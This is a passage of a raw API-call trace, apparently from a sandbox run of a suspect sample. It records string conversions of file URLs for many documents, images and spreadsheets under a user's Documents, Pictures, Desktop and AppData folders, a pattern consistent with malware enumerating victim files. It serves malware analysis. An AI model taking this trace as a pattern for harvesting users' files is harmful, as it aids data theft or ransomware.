lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/tHX0zgZ7OA49IM.xlsx%20HALPmcxz/Documents/yiub/tHX0zgZ7OA49IM.xlsx", lpUsedDefaultChar=0x0) returned 74 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=74, lpWideCharStr=0x3982c80, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/tHX0zgZ7OA49IM.xlsxসȲⴘΘⴘΘ4") returned 74 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/qcM60n59qzNSf.jpg", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/qcM60n59qzNSf.jpgLlZj-da3Lc0SAD/kC1ICfT8pFYQG/qcM60n59qzNSf.jpg", lpUsedDefaultChar=0x0) returned 95 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=95, lpWideCharStr=0x3982d80, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/qcM60n59qzNSf.jpgȲдȲnjȲ\x10") returned 95 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/evs-mu2XZmDDq_3I.ods", cchWideChar=92, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/evs-mu2XZmDDq_3I.odsnts/yiub/FZM1YvnX6BDzLLQ_/evs-mu2XZmDDq_3I.ods", lpUsedDefaultChar=0x0) returned 92 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526eb8, cbMultiByte=92, lpWideCharStr=0x3982e8c, cchWideChar=185 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/evs-mu2XZmDDq_3I.odsᘼȲᓔȲᓔȲ\x18") returned 92 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/06IT.bmp", cchWideChar=114, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/06IT.bmpLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/06IT.bmp", lpUsedDefaultChar=0x0) returned 114 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39830b4, cbMultiByte=114, lpWideCharStr=0x3985cd8, cchWideChar=229 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/06IT.bmpì") returned 114 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/EFxNu5CIh50zqG.ots", cchWideChar=90, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/EFxNu5CIh50zqG.otsments/yiub/FZM1YvnX6BDzLLQ_/EFxNu5CIh50zqG.ots", lpUsedDefaultChar=0x0) returned 90 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=90, lpWideCharStr=0x39830ac, cchWideChar=181 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/EFxNu5CIh50zqG.otsᓰȲᘔȲᘔȲ$") returned 90 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/T1u8H1vvlEAle1MGZ.gif", cchWideChar=110, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/T1u8H1vvlEAle1MGZ.gifjFbyLkyl/lAFKNLNIoK0mzGu/T1u8H1vvlEAle1MGZ.gif", lpUsedDefaultChar=0x0) returned 110 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526eb8, cbMultiByte=110, lpWideCharStr=0x39831ac, cchWideChar=221 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/T1u8H1vvlEAle1MGZ.gifä") returned 110 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/DRyCH41NNCvFGT-d.gif", cchWideChar=84, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/DRyCH41NNCvFGT-d.gifz/Pictures/qHy%20Bq3sd4UO/DRyCH41NNCvFGT-d.gif", lpUsedDefaultChar=0x0) returned 84 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=84, lpWideCharStr=0x39832c8, cchWideChar=169 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/DRyCH41NNCvFGT-d.gif⦜Θ㍴Θ㍴Θ8") returned 84 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/uu9Jm.gif", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/uu9Jm.gif5NrGJn0jS%20HALPmcxz/AppData/Roaming/uu9Jm.gif", lpUsedDefaultChar=0x0) returned 65 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=65, lpWideCharStr=0x232221c, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/uu9Jm.gifΘ⊠Ȳ⊠Ȳl") returned 65 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/mKDXp.docx", cchWideChar=60, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/mKDXp.docxrs/5p5NrGJn0jS%20HALPmcxz/Documents/mKDXp.docx", lpUsedDefaultChar=0x0) returned 60 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986e90, cbMultiByte=60, lpWideCharStr=0x4526eb0, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/mKDXp.docx\x80") returned 60 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/29qIuqRP.png", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/29qIuqRP.pngLlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/29qIuqRP.png", lpUsedDefaultChar=0x0) returned 95 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=95, lpWideCharStr=0x2320758, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/29qIuqRP.pngȲ࠘Ȳ࠘Ȳ@") returned 95 [0074.675] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/Z0-FTm5ZigO3Mdrkmc.jpg", cchWideChar=88, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/Z0-FTm5ZigO3Mdrkmc.jpgctures/mwC61ttLhFHO7U8H/Z0-FTm5ZigO3Mdrkmc.jpg", lpUsedDefaultChar=0x0) returned 88 [0074.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=88, lpWideCharStr=0x2320b88, cchWideChar=177 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/Z0-FTm5ZigO3Mdrkmc.jpgᎌȲ఼Ȳ఼ȲT") returned 88 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a09hCY1lv%20p_IZ98.gif", cchWideChar=100, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a09hCY1lv%20p_IZ98.gifda3Lc0SAD/kC1ICfT8pFYQG/a09hCY1lv%20p_IZ98.gif", lpUsedDefaultChar=0x0) returned 100 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398690c, cbMultiByte=100, lpWideCharStr=0x39864f0, cchWideChar=201 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a09hCY1lv%20p_IZ98.gif]") returned 100 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/mIvI%20FYocehkz.odp", cchWideChar=91, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/mIvI%20FYocehkz.odpents/yiub/FZM1YvnX6BDzLLQ_/mIvI%20FYocehkz.odp", lpUsedDefaultChar=0x0) returned 91 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=91, lpWideCharStr=0x3986904, cchWideChar=183 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/mIvI%20FYocehkz.odpȲ榼Θ榼ΘX") returned 91 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vn8g2SsalDLedk.rtf", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vn8g2SsalDLedk.rtf%20HALPmcxz/AppData/Roaming/vn8g2SsalDLedk.rtf", lpUsedDefaultChar=0x0) returned 74 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=74, lpWideCharStr=0x2321c4c, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vn8g2SsalDLedk.rtfসȲ᳤Ȳ᳤Ȳ¤") returned 74 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Toff-UV3qV.csv", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Toff-UV3qV.csvn0jS%20HALPmcxz/AppData/Roaming/Toff-UV3qV.csv", lpUsedDefaultChar=0x0) returned 70 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320c48, cbMultiByte=70, lpWideCharStr=0x2321ce8, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Toff-UV3qV.csv䕫睓⹀ΘnjȲ\x10") returned 70 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/F6Te.xlsx", cchWideChar=57, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/F6Te.xlsxUsers/5p5NrGJn0jS%20HALPmcxz/Desktop/F6Te.xlsx", lpUsedDefaultChar=0x0) returned 57 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321e44, cbMultiByte=57, lpWideCharStr=0x2322054, cchWideChar=115 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/F6Te.xlsxΘ⃈Ȳ⃈ȲÈ") returned 57 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VbVUQGncHIj1%20ec.xlsx", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VbVUQGncHIj1%20ec.xlsxjS%20HALPmcxz/Documents/VbVUQGncHIj1%20ec.xlsx", lpUsedDefaultChar=0x0) returned 72 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=72, lpWideCharStr=0x23220cc, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VbVUQGncHIj1%20ec.xlsx㔯㕰ፘȲፘȲ0") returned 72 [0074.676] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/BfZiGgPvckLte.ppt", cchWideChar=100, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/BfZiGgPvckLte.ppt/ZHL2s_-N8agn/Pgl1JgetxAYIiS/BfZiGgPvckLte.ppt", lpUsedDefaultChar=0x0) returned 100 [0074.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320048, cbMultiByte=100, lpWideCharStr=0x23200b4, cchWideChar=201 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/BfZiGgPvckLte.pptÐ") returned 100 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/zbn0rhaHx%20NfXQs.flv", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/zbn0rhaHx%20NfXQs.flvJn0jS%20HALPmcxz/Desktop/zbn0rhaHx%20NfXQs.flv", lpUsedDefaultChar=0x0) returned 69 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320c48, cbMultiByte=69, lpWideCharStr=0x3985b0c, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/zbn0rhaHx%20NfXQs.flvΘ官Θ官ΘÀ") returned 69 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/s%20gpfWvsnWdJ9uw9U90P.xls", cchWideChar=111, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/s%20gpfWvsnWdJ9uw9U90P.xls9uqJ4SH0r/gLb9EGvUD/s%20gpfWvsnWdJ9uw9U90P.xls", lpUsedDefaultChar=0x0) returned 111 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985ba4, cbMultiByte=111, lpWideCharStr=0x23228b0, cchWideChar=223 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/s%20gpfWvsnWdJ9uw9U90P.xlsȲ⦐Ȳ⦐Ȳx") returned 111 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ckvWAPm3%20YLx5ut.pptx", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ckvWAPm3%20YLx5ut.pptxjS%20HALPmcxz/Documents/ckvWAPm3%20YLx5ut.pptx", lpUsedDefaultChar=0x0) returned 72 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=72, lpWideCharStr=0x3985b9c, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ckvWAPm3%20YLx5ut.pptx㔯㕰尰Θ尰Θ(") returned 72 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/qUE__ZQn.csv", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/qUE__ZQn.csvts/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/qUE__ZQn.csv", lpUsedDefaultChar=0x0) returned 93 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=93, lpWideCharStr=0x232028c, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/qUE__ZQn.csv㙃͈Ȳ͈Ȳ°") returned 93 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/NKT0CZhD-olv.odp", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/NKT0CZhD-olv.odpjS%20HALPmcxz/AppData/Roaming/NKT0CZhD-olv.odp", lpUsedDefaultChar=0x0) returned 72 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=72, lpWideCharStr=0x232034c, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/NKT0CZhD-olv.odpd") returned 72 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/gIN4UnQrPywWhHMpL31.ots", cchWideChar=79, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/gIN4UnQrPywWhHMpL31.otsLPmcxz/AppData/Roaming/gIN4UnQrPywWhHMpL31.ots", lpUsedDefaultChar=0x0) returned 79 [0074.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=79, lpWideCharStr=0x2321874, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/gIN4UnQrPywWhHMpL31.otsђᤔȲᤔȲÐ") returned 79 [0074.677] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/mJWwPgUE-XZJ6.png", cchWideChar=83, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/mJWwPgUE-XZJ6.pngxz/Pictures/mwC61ttLhFHO7U8H/mJWwPgUE-XZJ6.png", lpUsedDefaultChar=0x0) returned 83 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39865c8, cbMultiByte=83, lpWideCharStr=0x2321918, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/mJWwPgUE-XZJ6.png浐ㅤΘᘔȲ$") returned 83 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a51sNIVKR%20E3Ge8fV.bmp", cchWideChar=101, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a51sNIVKR%20E3Ge8fV.bmpa3Lc0SAD/kC1ICfT8pFYQG/a51sNIVKR%20E3Ge8fV.bmp", lpUsedDefaultChar=0x0) returned 101 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320048, cbMultiByte=101, lpWideCharStr=0x232265c, cchWideChar=203 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/a51sNIVKR%20E3Ge8fV.bmpȲ✨Ȳ✨Ȳ¨") returned 101 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/YdDnZ8.csv", cchWideChar=91, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/YdDnZ8.csvents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/YdDnZ8.csv", lpUsedDefaultChar=0x0) returned 91 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=91, lpWideCharStr=0x39866e0, cchWideChar=183 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/YdDnZ8.csv") returned 91 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/hGyi-Cb.jpg", cchWideChar=75, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/hGyi-Cb.jpg20HALPmcxz/Pictures/LlZj-da3Lc0SAD/hGyi-Cb.jpg", lpUsedDefaultChar=0x0) returned 75 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=75, lpWideCharStr=0x232272c, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/hGyi-Cb.jpg䥡⟄Ȳ⟄Ȳ\x0c") returned 75 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/785B1FSYcl.doc", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/785B1FSYcl.doc/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/785B1FSYcl.doc", lpUsedDefaultChar=0x0) returned 95 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=95, lpWideCharStr=0x398679c, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/785B1FSYcl.doc") returned 95 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Hr58A4aaHM.ods", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 